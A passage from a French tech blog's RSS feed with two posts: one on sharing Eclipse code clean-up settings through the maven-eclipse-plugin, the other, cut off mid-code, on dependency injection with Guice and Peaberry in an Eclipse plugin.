isPermaLink="false">http://blog.xebia.fr/?p=6684</guid> <description><![CDATA[En ce beau matin d&#8217;hiver, me voilà bien décidé à effectuer un peu de ménage sur notre projet. Ma cible d&#8217;aujourd&#8217;hui : la chasse aux warnings. Grosso modo, j&#8217;observe qu&#8217;il y a 3 types de warning : imports inutilisés (60%) unchecked casts (30%) variables ou méthodes private non utilisées (10%) Je prends mon bâton de [...]]]></description> <content:encoded><![CDATA[<p>En ce beau matin d&#8217;hiver, me voilà bien décidé à effectuer un peu de ménage sur notre projet. Ma cible d&#8217;aujourd&#8217;hui : la chasse aux warnings.</p><p>Grosso modo, j&#8217;observe qu&#8217;il y a 3 types de warning :</p><ul><li>imports inutilisés (60%)</li><li>unchecked casts (30%)</li><li>variables ou méthodes <em>private</em> non utilisées (10%)</li></ul><p>Je prends mon bâton de pèlerin et je nettoie. Cependant, je me rends bien compte que ces warnings sont pour la majorité des erreurs d&#8217;inattention qui pourraient être facilement évitées.</p><p>A quoi bon nettoyer, si c&#8217;est pour se retrouver dans la même situation dans trois mois ? Donc, en plus de ma maintenance corrective, je pars également à la recherche d&#8217;une action préventive.</p><p>Première idée évidente, configurer Eclipse pour que celui-ci effectue ce genre de nettoyage lors d&#8217;une sauvegarde d&#8217;un fichier. Facile, il suffit de paramétrer ceci dans Properties -> Java Editor -> Save Actions (Plus de détails <a
href="http://mestreota.blogspot.com/2007/11/save-action-on-eclipse.html" title="ici" >ici</a>).</p><p>Cependant, à quoi bon le faire uniquement sur mon Eclipse ? Quel intérêt, si les autres membres de l&#8217;équipe ne bénéficient pas eux aussi de la même configuration ? Comment faire en sorte que ma configuration soit facilement partagée avec les autres ?</p><p>Le projet étant un projet maven, le <a
href="http://maven.apache.org/plugins/maven-eclipse-plugin/" title="maveneclipseplugin" >maven-eclipse-plugin</a> semble offrir la solution.</p><h3><a
name="Construiresaconfigurationcible"></a>Construire sa configuration cible idéale</h3><p>Le plus facile est de le faire via Eclipse. On choisit un projet java et on se définit la configuration voulue dans les properties. Je ne vais pas vous conseiller particulièrement, ceci étant souvent une affaire de gout. Allez jeter un coup d&#8217;œil notamment dans :</p><ul><li>Java Code Style : Clean Up, Code Templates, Formatter</li></ul><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2011/01/clean-up-ok.jpg"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/01/clean-up-ok-300x231.jpg" alt="clean-up-ok" title="clean-up-ok" width="300" height="231" class="alignnone size-medium wp-image-6687" /></a></div><ul><li>Java Compiler -> Errors/Warning : pour redéfinir le niveau des alertes. Il peut être intéressant de bloquer directement depuis l&#8217;IDE certaines sources d&#8217;erreurs, comme par exemple : x == x ou x =x&#8230;</li></ul><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2011/01/errors-warning-ok.jpg"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/01/errors-warning-ok-300x243.jpg" alt="errors-warning-ok" title="errors-warning-ok" width="300" height="243" class="alignnone size-medium wp-image-6688" /></a></div><ul><li>Java Editor -> Save Action (vu précédemment) :</li></ul><div
align="center"> <a
href="http://blog.xebia.fr/wp-content/uploads/2011/01/save-action-ok.jpg"><img
src="http://blog.xebia.fr/wp-content/uploads/2011/01/save-action-ok-300x243.jpg" alt="save-action-ok" title="save-action-ok" width="300" height="243" class="alignnone size-medium wp-image-6689" /></a></div><h3><a
name="EnregistersaconfigurationdansM"></a>Enregister sa configuration dans Maven</h3><p>Une fois le paramétrage effectué, il suffit d&#8217;aller récupérer le résultat dans le répertoire <em>.settings</em> du projet. Vous trouverez dans ce répertoire les fichiers contenant la configuration réalisée précédemment (<em>org.eclipse.jdt.ui.prefs</em>, <em>org.eclipse.jdt.core.prefs</em>, etc.). Ce sont des fichiers de propriétés contenant ce genre d&#8217;information :</p><pre class="brush: java; title: ; notranslate">
#Wed Dec 15 14:36:54 CET 2010
cleanup.add_default_serial_version_id=true
cleanup.add_generated_serial_version_id=false
cleanup.add_missing_annotations=true
cleanup.add_missing_deprecated_annotations=true
cleanup.add_missing_methods=false
cleanup.add_missing_nls_tags=false
cleanup.add_missing_override_annotations=true
cleanup.add_missing_override_annotations_interface_methods=true
...
</pre><p>Il suffit maintenant d&#8217;extraire tout le contenu nous intéressant et de le mettre dans la configuration du maven-eclipse-plugin. Par exemple :</p><pre class="brush: xml; title: ; notranslate">
&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;    xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;
  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;
  &lt;groupId&gt;fr.xebia.build.tools&lt;/groupId&gt;
  &lt;artifactId&gt;testConfMaven&lt;/artifactId&gt;
  &lt;version&gt;0.0.1-SNAPSHOT&lt;/version&gt;
  &lt;build&gt;
    &lt;plugins&gt;
      &lt;plugin&gt;
        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;
        &lt;artifactId&gt;maven-eclipse-plugin&lt;/artifactId&gt;
        &lt;version&gt;2.7&lt;/version&gt;
        &lt;configuration&gt;
          &lt;downloadSources&gt;true&lt;/downloadSources&gt;
          &lt;additionalConfig&gt;
            &lt;file&gt;
              &lt;name&gt;.settings/org.eclipse.jdt.ui.prefs&lt;/name&gt;
              &lt;content&gt;&lt;![CDATA[
 eclipse.preferences.version=1
 editor_save_participant_org.eclipse.jdt.ui.postsavelistener.cleanup=true
 sp_cleanup.add_default_serial_version_id=true
 sp_cleanup.add_missing_annotations=true
 sp_cleanup.add_missing_deprecated_annotations=true
 sp_cleanup.add_missing_override_annotations=true
 sp_cleanup.add_missing_override_annotations_interface_methods=true
 sp_cleanup.always_use_blocks=true
 sp_cleanup.make_private_fields_final=true
 sp_cleanup.make_variable_declarations_final=true
 sp_cleanup.never_use_parentheses_in_expressions=true
 sp_cleanup.organize_imports=true
 sp_cleanup.qualify_static_member_accesses_through_instances_with_declaring_class=true
 sp_cleanup.qualify_static_member_accesses_through_subtypes_with_declaring_class=true
 sp_cleanup.remove_private_constructors=true
 sp_cleanup.remove_trailing_whitespaces_all=true
 sp_cleanup.remove_unnecessary_casts=true
 sp_cleanup.remove_unused_imports=true
 sp_cleanup.remove_unused_private_fields=true
 sp_cleanup.remove_unused_private_types=true
 sp_cleanup.use_this_for_non_static_field_access_only_if_necessary=true
 sp_cleanup.use_this_for_non_static_method_access_only_if_necessary=true
                ]]&gt;
              &lt;/content&gt;
            &lt;/file&gt;
          &lt;/additionalConfig&gt;
        &lt;/configuration&gt;
      &lt;/plugin&gt;
    &lt;/plugins&gt;
  &lt;/build&gt;
&lt;/project&gt;
</pre><p>A noter, on peut également mettre cette configuration dans des <a
href="http://maven.apache.org/plugins/maven-eclipse-plugin/eclipse-mojo.html#additionalConfig" title="fichiers externes" >fichiers externes</a>, qui seraient embarqués dans une dépendance maven :</p><pre class="brush: xml; title: ; notranslate">
&lt;plugin&gt;
  &lt;artifactId&gt;maven-eclipse-plugin&lt;/artifactId&gt;
  &lt;version&gt;2.7&lt;/version&gt;
  &lt;configuration&gt;
    &lt;additionalConfig&gt;
      &lt;file&gt;
        &lt;name&gt;.settings/org.eclipse.jdt.ui.prefs&lt;/name&gt;
        &lt;location&gt;settings/org.eclipse.jdt.ui.prefs&lt;/location&gt;
      &lt;/file&gt;
      &lt;file&gt;
        &lt;name&gt;.checkstyle&lt;/name&gt;
        &lt;location&gt;/.checkstyle&lt;/location&gt;
      &lt;/file&gt;
    &lt;/additionalConfig&gt;
  &lt;/configuration&gt;
  &lt;dependencies&gt;
    &lt;dependency&gt;
      &lt;groupId&gt;fr.xebia.build.tools&lt;/groupId&gt;
      &lt;artifactId&gt;xebia-eclipse-conf&lt;/artifactId&gt;
      &lt;version&gt;0.0.1&lt;/version&gt;
    &lt;/dependency&gt;
  &lt;/dependencies&gt;
&lt;/plugin&gt;
</pre><p>Notre projet xebia-eclipse-conf est une dépendance maven du projet et possède la structure suivante :</p><p>|-src<br
/> |&#8212;main<br
/> |&#8212;&#8211;resources<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&#8211;.checkstyle<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&#8211;settings<br
/> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&#8211;org.eclipse.jdt.ui.prefs</p><p>Une fois la configuration faite, il suffira aux développeurs d&#8217;exécuter la commande <strong>mvn eclipse:m2eclipse</strong> ou <strong>mvn eclipse:eclipse</strong> (si vous n&#8217;utilisez pas m2Eclipse) puis de faire un refresh sur votre projet.</p><p>Nous utilisons la version 2.7 du maven-eclipse-plugin, car le goal eclipse:m2eclipse a été supprimé de la version 2.8 (voir <a
href="http://maven-users.828.n2.nabble.com/searching-for-eclipse-m2eclipse-td4743556.html" title="lexplication de Jason van Zyl" >l&#8217;explication de Jason van Zyl</a>). Cependant, aucune autre alternative valable n&#8217;existe à notre connaissance pour générer les fichiers de configuration d&#8217;Eclipse. Le salut pourra venir des <a
href="http://m2eclipse.sonatype.org/extensible-project-configuration-framework.html">&laquo;&nbsp;Extension points&nbsp;&raquo;</a>, cependant cette solution ne paraît pas encore utilisable en l&#8217;état.</p><h3><a
name="Pointdattention"></a>Point d&#8217;attention</h3><p>Ce n&#8217;est pas parce que l&#8217;on peut tout faire, qu&#8217;il est souhaitable de tout mettre dans notre configuration. Le mieux est l&#8217;ennemi du bien, et il convient donc de trouver un juste équilibre entre ce qui est vraiment utile et ce qui pourrait devenir une contrainte pour certaines personnes. Quoi qu&#8217;il arrive, il est important que l&#8217;équipe valide ensemble le contenu plutôt qu&#8217;une personne isolée fasse selon ses goûts.</p><p>Voilà pour l&#8217;astuce ! Maintenant, vous allez me dire que dans votre équipe un vilain petit canard utilise Intellij Idea. Je ne connais pas encore le pendant de cette méthode. Peut-être que le maven-idea-plugin fait l&#8217;affaire. Si vous connaissez une solution viable, n&#8217;hésitez pas à poster la solution en commentaire.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2011/01/19/configurer-automatiquement-eclipse-avec-maven/feed/</wfw:commentRss> <slash:comments>18</slash:comments> </item> <item><title>Utiliser Guice et Peaberry pour développer un plugin Eclipse</title><link>http://blog.xebia.fr/2010/12/29/utiliser-guice-et-peaberry-pour-developper-un-plugin-eclipse/</link> <comments>http://blog.xebia.fr/2010/12/29/utiliser-guice-et-peaberry-pour-developper-un-plugin-eclipse/#comments</comments> <pubDate>Wed, 29 Dec 2010 09:43:40 +0000</pubDate> <dc:creator>Nicolas Demengel</dc:creator> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Guice]]></category> <category><![CDATA[OSGi]]></category> <category><![CDATA[Peaberry]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=6388</guid> <description><![CDATA[Sans travailler spécifiquement sur la plateforme Eclipse et sans être committeur sur un des projets liés, il n&#8217;est pas rare de devoir écrire un plugin pour l&#8217;IDE Eclipse. Les raisons peuvent être variées : intégrer le gestionnaire de tâches de votre entreprise, supporter le DSL que vous venez de créer, templater des parties récurrentes de [...]]]></description> <content:encoded><![CDATA[<p>Sans travailler spécifiquement sur la plateforme Eclipse et sans être committeur sur un des projets liés, il n&#8217;est pas rare de devoir écrire un plugin pour l&#8217;IDE Eclipse. Les raisons peuvent être variées : intégrer le gestionnaire de tâches de votre entreprise, supporter le DSL que vous venez de créer, templater des parties récurrentes de votre développement, etc&#8230;</p><p>Quand on découvre la plateforme, on peut être surpris par deux différences majeures par rapport au développement d&#8217;un projet Java « entreprise » :</p><ul><li>La manière de builder le projet : Eclipse propose ses propres conventions de structure de projet et fournit ses outils pour le builder. Certains points sont paramétrables mais on ne retrouve pas la richesse offerte par Ant, Maven ou encore Gradle. Cela fera éventuellement l&#8217;objet d&#8217;un autre article ;</li><li>Dans le code lui même : le passage des dépendances entre classes ou entre bundles est particulier, et c&#8217;est ce dernier point qui nous intéresse dans cet article. En effet le code d&#8217;un plugin Eclipse ressemble souvent à ça : <code>SomePlugin.getDefault().getSomeComponent().getSomeChild().doSomething()</code>.</li></ul><p>Les singletons sont omniprésents, principalement pour fournir un point d&#8217;accès aux différents bundles. Par ailleurs beaucoup d&#8217;actions ne sont accessibles que via des méthodes statiques.</p><p>Évidemment, le principal problème qui se pose est celui des tests unitaires. Eclipse propose de lancer votre plugin et d&#8217;exécuter des tests JUnit dessus, mais il s&#8217;agit là de tests d&#8217;intégration qui s&#8217;exécutent lentement et ne permettront pas de faire du TDD. Il est toujours possible de faire de l&#8217;injection de dépendances (DI) « à la main », mais on aurait tort de se priver de l&#8217;utilisation d&#8217;un framework dédié à cela, d&#8217;autant plus qu&#8217;on pourrait y gagner d&#8217;autres fonctionnalités : binding interface/implémentation, gestion de scopes (singleton, session…), AOP, etc…</p><p>En attendant Eclipse 4 &#8211; qui <a
href="http://www.eclipse.org/e4/resources/e4-whitepaper.php" title="proposera nativement des fonctionnalits de DI" >proposera nativement des fonctionnalités de DI</a> - je vous propose donc de mettre en place Guice et son extension Peaberry sur un projet-type de plugin pour Eclipse.</p><p>Note : pour ce qui est de l&#8217;appel de méthodes statiques, aucun framework de DI ne pourra changer la donne puisqu&#8217;on est alors dépendant d&#8217;une méthode, et non d&#8217;une classe. Il faudra donc déléguer ces appels à des classes « tampons » ou mocker ces appels lors des tests avec un framework spécifique tel que <a
href="http://code.google.com/p/jmockit/" title="JMockit" >JMockit</a>.</p><h3><a
name="Crerleprojetdedmonstration"></a>Créer le projet de démonstration</h3><p>Tout le code nécessaire à la démonstration est dans cet article, mais il est parfois abrégé pour des questions de lisibilité. Si vous ne désirez pas créer le projet de démonstration mais que vous voulez malgré tout avoir accès au code dans son intégralité, vous pouvez <a
href="https://github.com/ndemengel/guiceexample/" title="le trouver sur GitHub" >le trouver sur GitHub</a>.</p><p>Nul besoin de quelque chose de compliqué pour cet article, on se contentera du HelloWorld d&#8217;Eclipse :</p><ul><li>Créer un nouveau projet : &laquo;&nbsp;New&nbsp;&raquo; > &laquo;&nbsp;Project&nbsp;&raquo; > &laquo;&nbsp;Plug-in Development&nbsp;&raquo; > &laquo;&nbsp;Plug-in Project&nbsp;&raquo; ;</li><li>Lui donner un nom, pour notre exemple : fr.xebia.eclipse.guiceexample ;</li><li>Changer le nom par défaut de l&#8217;<code>Activator</code> afin qu&#8217;il représente mieux le fait que ce sera un point d&#8217;entrée au plugin, par exemple : <code>GuiceExamplePlugin</code> ;</li><li>Choisir le template &laquo;&nbsp;Hello, World&nbsp;&raquo; ;</li><li>Valider.</li></ul><p>A ce stade, vous pouvez lancer le plugin (&laquo;&nbsp;Run As&nbsp;&raquo; > &laquo;&nbsp;Eclipse Application&nbsp;&raquo;) et constater qu&#8217;il vous dit bonjour lorsque vous cliquez sur &laquo;&nbsp;Sample Menu&nbsp;&raquo; > &laquo;&nbsp;Sample Action&nbsp;&raquo;.</p><p>Afin d&#8217;avoir un peu de matière pour la suite, je vous propose deux ajouts :</p><ol><li>dans le message, afficher le thème graphique utilisé par la plateforme ;</li><li>dans la console, afficher, lors du démarrage, des statistiques sur les points d&#8217;extension utilisés ou fournis par le plugin.</li></ol><p>Le premier ajout se situe donc dans <code>SampleAction.run()</code> :</p><pre class="brush: java; title: ; notranslate">
public void run(IAction action) {
	String currentTheme = PlatformUI.getWorkbench().getThemeManager().getCurrentTheme().getLabel();
	String message = &quot;Hello, Xebia world. &quot; + NL + &quot;The current theme is: &quot; + currentTheme;
	MessageDialog.openInformation(window.getShell(), &quot;Guice Example&quot;, message);
}
</pre><p>Pour le deuxième point, ajoutons le code suivant dans <code>GuiceExamplePlugin.start()</code> :</p><pre class="brush: java; title: ; notranslate">
public void start(BundleContext context) throws Exception {
	super.start(context);
	plugin = this;
	ExtensionStatistics stats = new ExtensionStatistics();
	String message = &quot;This plugin declares &quot; + stats.countDeclaredExtensions() + &quot; extensions and provides &quot;
			+ stats.countDeclaredExtensionPoints() + &quot; extension points&quot;;
	getLog().log(new Status(IStatus.INFO, PLUGIN_ID, message));
}
</pre><p>Le code de la classe <code>ExtensionStatistics</code> étant le suivant :</p><pre class="brush: java; title: ; notranslate">
public class ExtensionStatistics {
	public int countDeclaredExtensions() {
		return Platform.getExtensionRegistry().getExtensions(GuiceExamplePlugin.PLUGIN_ID).length;
	}
	public int countDeclaredExtensionPoints() {
		return Platform.getExtensionRegistry().getExtensionPoints(GuiceExamplePlugin.PLUGIN_ID).length;
	}
}
</pre><p>Enfin, afin que le plugin démarre en même temps qu&#8217;Eclipse, ajoutons cette ligne dans le fichier plugin.xml :</p><pre class="brush: xml; title: ; notranslate">
&lt;extension point=&quot;org.eclipse.ui.startup&quot; /&gt;
</pre><p>A présent, lors du lancement de l&#8217;application, on peut lire dans la console de l&#8217;instance Eclipse de développement :</p><pre class="brush: java; title: ; notranslate">
!ENTRY fr.xebia.eclipse.guiceexample 1 0 2010-12-18 16:47:33.848
!MESSAGE This plugin declares 2 extensions and provides 0 extension points
</pre><p>ou encore dans la vue &laquo;&nbsp;Error Log&nbsp;&raquo; de la nouvelle instance d&#8217;Eclipse :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/12/error-log.png" border="0" alt="" /></div><p>Et en cliquant sur &laquo;&nbsp;Sample Action&nbsp;&raquo; on obtient :</p><div
align="center"> <img
src="http://blog.xebia.fr/wp-content/uploads/2010/12/hello-xebia-world.png" border="0" alt="" /></div><p>Voilà, la suite de cet article va consister à réécrire ces deux bouts de code pour qu&#8217;ils utilisent Guice, afin de s&#8217;affranchir des couplages forts entre nos classes et leurs dépendances. Mais commençons tout d&#8217;abord par l&#8217;importation de Guice dans la plateforme.</p><h3><a
name="ImporterGuice"></a>Importer Guice</h3><p>Vous trouverez la dernière version de Guice <a
href="http://code.google.com/p/google-guice/downloads/list?q=label:Featured" title="ici" >ici</a>. Deux JARs seulement nous intéressent dans l&#8217;archive ZIP : guice-2.0.jar et aopalliance.jar.</p><p>Eclipse propose deux manières d&#8217;importer des JARs dans la plateforme pour les utiliser avec votre plugin :</p><ol><li>inclure les JARs dans votre plugin ;</li><li>exposer les JARs en question comme des plugins, desquels dépendra votre plugin.</li></ol><p>Dans le premier cas, il vous faut :</p><ul><li>Placer les JARs dans votre projet (disons dans un répertoire &laquo;&nbsp;lib&nbsp;&raquo;) ;</li><li>Puis, au sein de l&#8217;éditeur du manifest de votre plugin, les ajouter dans la section &laquo;&nbsp;Classpath&nbsp;&raquo; de l&#8217;onglet &laquo;&nbsp;Runtime&nbsp;&raquo; ;</li><li>Créer aussi la library &laquo;&nbsp;.&nbsp;&raquo; pour que le plugin voit encore ses propres classes ;</li><li>Enfin, sauvegarder.</li></ul><p>La deuxième solution est à préférer si vous comptez utiliser vos dépendances au sein de plusieurs plugins. Les étapes sont les suivantes :</p><ul><li>Créer un nouveau projet : &laquo;&nbsp;New&nbsp;&raquo; > &laquo;&nbsp;Project&nbsp;&raquo; > &laquo;&nbsp;Plug-in Development&nbsp;&raquo; > &laquo;&nbsp;Plug-in from Existing JAR Archives&nbsp;&raquo; ;</li><li>Donner l&#8217;accès aux JARs à importer ;</li><li>Donner un nom au plugin : pour éviter toute collision, une bonne méthode consiste à utiliser le nom de votre organisation ou de votre plugin (selon la portée de votre dépendance), suivi du nom de la dépendance (ou de l&#8217;ensemble de dépendances) &#8211; dans notre exemple : fr.xebia.eclipse.guiceexample.guice ;</li><li>Décocher « Unzip the JAR archives into the project » (ça ne sert à rien) ;</li><li>Enfin, déclarer ce nouveau plugin comme dépendance de celui qui nous intéresse : là encore, utiliser l&#8217;éditeur du manifest &#8211; onglet &laquo;&nbsp;Dependencies&nbsp;&raquo; &#8211; et ajouter fr.xebia.eclipse.guiceexample.guice.</li></ul><p>On notera que ce nouveau plugin expose les JARs de la même manière qu&#8217;avec la première solution, mais au moins on n&#8217;a pas à le faire à la main.</p><h3><a
name="CrerunmoduleGuiceetuninjecteur"></a>Créer un module Guice et un injecteur</h3><p>En bref, Guice requiert un ou plusieurs modules définissant les bindings entre des types Java et leur(s) implémentation(s), ainsi qu&#8217;un ou plusieurs injecteurs permettant de construire le graphe d&#8217;objets à partir de ces définitions. Pour démarrer nous créerons donc un module principal pour notre plugin :</p><pre class="brush: java; title: ; notranslate">
package fr.xebia.eclipse.guiceexample;
import com.google.inject.AbstractModule;
public class CoreModule extends AbstractModule {
	@Override
	protected void configure() {
	}
}
</pre><p>ainsi qu&#8217;un injecteur, dans GuiceExamplePlugin :</p><pre class="brush: java; title: ; notranslate">
private Injector injector;
public void start(BundleContext context) throws Exception {
	super.start(context);
	plugin = this;
	injector = Guice.createInjector(new CoreModule());
	ExtensionStatistics stats = injector.getInstance(ExtensionStatistics.class);
	// ...
}
// méthode d'accès qui nous servira plus tard
public Injector getInjector() {
	return injector;
}
</pre><p>Dans le cas qui nous intéresse, nous voudrions nous passer de l&#8217;appel à <code>Platform.getExtensionRegistry()</code>. Il suffit de déclarer une méthode <code>@Provides</code> dans <code>CoreModule</code> pour que Guice sache comment nous le fournir :</p><pre class="brush: java; title: ; notranslate">
public class CoreModule extends AbstractModule {
	// configure(){} ...
	@Provides
	protected IExtensionRegistry provideExtensionRegistry() {
		return Platform.getExtensionRegistry();
	}
}
public class ExtensionStatistics {
	private final IExtensionRegistry extensionRegistry;
	@Inject
	public ExtensionStatistics(IExtensionRegistry extensionRegistry) {
		this.extensionRegistry = extensionRegistry;
	}
	public int countDeclaredExtensions() {
		return extensionRegistry.getExtensions(GuiceExamplePlugin.PLUGIN_ID).length;
	}
	// ...
}
</pre><p>Cela nous évite ainsi de créer notre propre factory. Vous l&#8217;aurez compris la suite ne relève que l&#8217;utilisation basique de Guice, déjà discutée sur ce blog <a
href="http://blog.xebia.fr/2009/06/19/google-guice-injection-avancee/" title="ici" >ici</a> et <a
href="http://blog.xebia.fr/2009/04/15/google-guice-les-bases-de-linjection-de-dependances/" title="l" >là</a>.</p><p>Seulement voilà : lors d&#8217;un développement pour Eclipse IDE, la plupart de nos classes est déclarée comme étant une extension à la plateforme (au sein du fichier plugin.xml) et est instanciée par Eclipse, comme c&#8217;est le cas pour <code>SampleAction</code>. Dans ce cas-là, comment faire pour s&#8217;éviter de devoir à nouveau récupérer par nous-même nos dépendances ?</p><h3><a
name="Injecterdesdpendancesdansuneex"></a>Injecter des dépendances dans une extension Eclipse</h3><h4><a
name="PeaberrysGuiceExtensionFactory"></a>Peaberry&#8217;s GuiceExtensionFactory</h4><p>Une première solution à notre problème est apportée par <a
href="http://code.google.com/p/peaberry/" title="Peaberry" >Peaberry</a>. Il s&#8217;agit d&#8217;une extension pour Guice qui a été développée alors qu&#8217;il ne fonctionnait pas encore en milieu OSGi. Cela est réparé depuis la version 2 de Guice, mais Peaberry n&#8217;en fournit pas moins un support beaucoup plus avancé d&#8217;OSGi en général, et d&#8217;Eclipse en particulier.</p><p>Avant toute chose, il faut importer Peaberry et Peaberry-Eclipse. La dernière version se récupère <a
href="http://code.google.com/p/peaberry/downloads/list?q=label:Featured" title="ici" >ici</a>, il s&#8217;agit alors de procéder comme précédemment pour inclure : <code>aopalliance-1.0.jar</code>, <code>guice-customloader-yyyymmdd.jar</code>, <code>peaberry-1.1.1.jar</code> et <code>peaberry.eclipse-1.1.1.jar</code>. C&#8217;est ce dernier JAR qui va nous apporter le support spécifique pour les extensions Eclipse.</p><p>Note : il semblerait que l&#8217;équipe de Peaberry ait eu un problème de packaging sur la version 1.1.1, perdant ainsi la déclaration du point d&#8217;extension décrit ci-après. La procédure pour corriger cela est fournie <a
href="http://blog.xebia.fr/2010/12/29/utiliser-guice-et-peaberry-pour-developper-un-plugin-eclipse/#AnnexeProcdurepourutiliserlepo" title="en fin darticle" >en fin d&#8217;article</a>.</p><p>Dans notre plugin (fichier plugin.xml), il est à présent possible de demander à Peaberry d&#8217;instancier nos extensions via sa factory :</p><pre class="brush: xml; title: ; notranslate">
&lt;extension point=&quot;org.eclipse.ui.actionSets&quot;&gt;
   &lt;!-- ... --&gt;
            class=&quot;org.ops4j.peaberry.eclipse.GuiceExtensionFactory:fr.xebia.eclipse.guiceexample.actions.SampleAction&quot;
   &lt;!-- ... --&gt;
&lt;/extension&gt;
</pre><p>Il faut alors lui préciser le module Guice à utiliser pour injecter les dépendances :</p><pre class="brush: xml; title: ; notranslate">
&lt;extension point=&quot;org.ops4j.peaberry.eclipse.modules&quot;&gt;
   &lt;module class=&quot;fr.xebia.eclipse.guiceexample.CoreModule&quot; /&gt;
&lt;/extension&gt;
</pre><p>Une autre syntaxe est possible, plus lisible, où le nom de la classe à instancier est en fait l&#8217;ID de l&#8217;extension (ce qui était déjà le cas dans notre exemple) :</p><pre class="brush: xml; title: ; notranslate">
&lt;!-- ... --&gt;
         class=&quot;org.ops4j.peaberry.eclipse.GuiceExtensionFactory&quot;
         id=&quot;fr.xebia.eclipse.guiceexample.actions.SampleAction&quot;
&lt;!-- ... --&gt;
</pre><p>On peut à présent modifier <code>CoreModule</code> et <code>SampleAction</code> comme suit :</p><pre class="brush: java; title: ; notranslate">
public class CoreModule extends AbstractModule {
	// ...
	@Provides
	protected IThemeManager provideThemeManager() {
		return PlatformUI.getWorkbench().getThemeManager();
	}
}
public class SampleAction implements IWorkbenchWindowActionDelegate {
	// ...
	private final IThemeManager themeManager;
	@Inject
	public SampleAction(IThemeManager themeManager) {
		this.themeManager = themeManager;
	}
	public void run(IAction action) {
		String currentTheme = themeManager.getCurrentTheme().getLabel();
		String message = &quot;Hello, Xebia world. &quot; + NL + &quot;The current theme is: &quot; + currentTheme;
		MessageDialog.openInformation(window.getShell(), &quot;Guice Example&quot;, message);
	}
}
</pre><p>On le voit, une fois le problème de l&#8217;import de Peaberry-Eclipse réglé, c&#8217;est assez simple à utiliser. Il reste malheureusement un problème potentiel : il est impossible de demander à la <code>GuiceExtensionFactory</code> d&#8217;utiliser un injecteur existant, elle va donc en créer un pour notre plugin. Si le contenu de plugin.xml est notre seul point d&#8217;entrée, tout va bien ; mais si on désire également mettre de la logique dans <code>GuiceExamplePlugin.start()</code> sur la base du même module Guice, une classe déclarée <code>@Singleton</code> pourra alors être instanciée deux fois…</p><p>Heureusement la solution est assez simple : écrire notre propre extension factory.</p><h4><a
name="Ecriresapropreextensionfactory"></a>Ecrire sa propre extension factory</h4><p><code>GuiceExtensionFactory</code> implémente l&#8217;interface <code>IExecutableExtensionFactory</code>, permettant de contrôler l&#8217;instantiation des extensions. L&#8217;idée est de créer une factory abstraite faisant le même travail à l&#8217;exception près que l&#8217;injecteur sera fourni par une sous-classe concrète. Voici le code de la factory abstraite (<a
href="https://github.com/ndemengel/guiceexample/blob/master/fr.xebia.eclipse.guiceexample.guice/src/fr/xebia/eclipse/guiceexample/guice/AbstractGuiceInjectorExtensionFactory.java" title="voir le code complet ici" >voir le code complet ici</a>) :</p><pre class="brush: java; title: ; notranslate">
public abstract class AbstractGuiceInjectorExtensionFactory implements IExecutableExtension, IExecutableExtensionFactory {
	// définition des champs ...
	public void setInitializationData(final IConfigurationElement config, final String name, final Object data) {
		configuration = config;
		contributor = config.getContributor();
		// si la classe n'est pas fournie dans le même attribut que la factory (i.e: class=&quot;factory:classe&quot;), on la récupère dans l'attribut &quot;id&quot;
		className = data instanceof String ? (String) data : config.getAttribute(&quot;id&quot;);
	}
	public Object create() throws CoreException {
		if (null == className) {
			throw newCoreException(&quot;Configuration is missing class information&quot;);
		}
		final Class&lt;?&gt; clazz;
		try {
			clazz = resolve(contributor).loadClass(className);
		} catch (final InvalidRegistryObjectException e) {
			throw newCoreException(e);
		} catch (final ClassNotFoundException e) {
			throw newCoreException(e);
		}
		final Object o = getInjector().getInstance(clazz);
		if (o instanceof IExecutableExtension) {
			((IExecutableExtension) o).setInitializationData(configuration, null, null);
		}
		return o;
	}
	abstract protected Injector getInjector();
	// newCoreException(){}...
}
</pre><p>On peut à présent créer une factory différente pour chaque besoin que l&#8217;on pourrait avoir. Dans le cas de cet exemple, le but était de partager l&#8217;injecteur défini dans <code>GuiceExamplePlugin</code> :</p><pre class="brush: java; title: ; notranslate">
public class GuiceExampleExtensionFactory extends AbstractGuiceInjectorExtensionFactory {
	@Override
	protected Injector getInjector() {
		return GuiceExamplePlugin.getDefault().getInjector();
	}
}
</pre><p>et voici le contenu de plugin.xml associé :</p><pre class="brush: xml; title: ; notranslate">
&lt;!-- on n'utilise plus le point d'extension déclarant CoreModule --&gt;
&lt;extension point=&quot;org.eclipse.ui.actionSets&quot;&gt;
   &lt;!-- ... --&gt;
            class=&quot;fr.xebia.eclipse.guiceexample.GuiceExampleExtensionFactory&quot;
            id=&quot;fr.xebia.eclipse.guiceexample.actions.SampleAction&quot;
   &lt;!-- ... --&gt;
&lt;/extension&gt;
</pre><p>Note : on pourrait tout à fait utiliser cette factory pour créer des contextes d&#8217;injection enfants, dédiés par exemple à un certain type d&#8217;extensions définies dans plugin.xml :</p><pre class="brush: java; title: ; notranslate">
public class ActionHandlerFactory extends AbstractGuiceInjectorExtensionFactory {
    private static Injector injector;
    @Override
    protected synchronized Injector getInjector() {
        if (injector == null) {
            injector = GuiceExamplePlugin.getDefault().getInjector().createChildInjector(new ActionHandlingModule());
        }
        return injector;
    }
    public static void cleanup() {
        injector = null;
    }
}
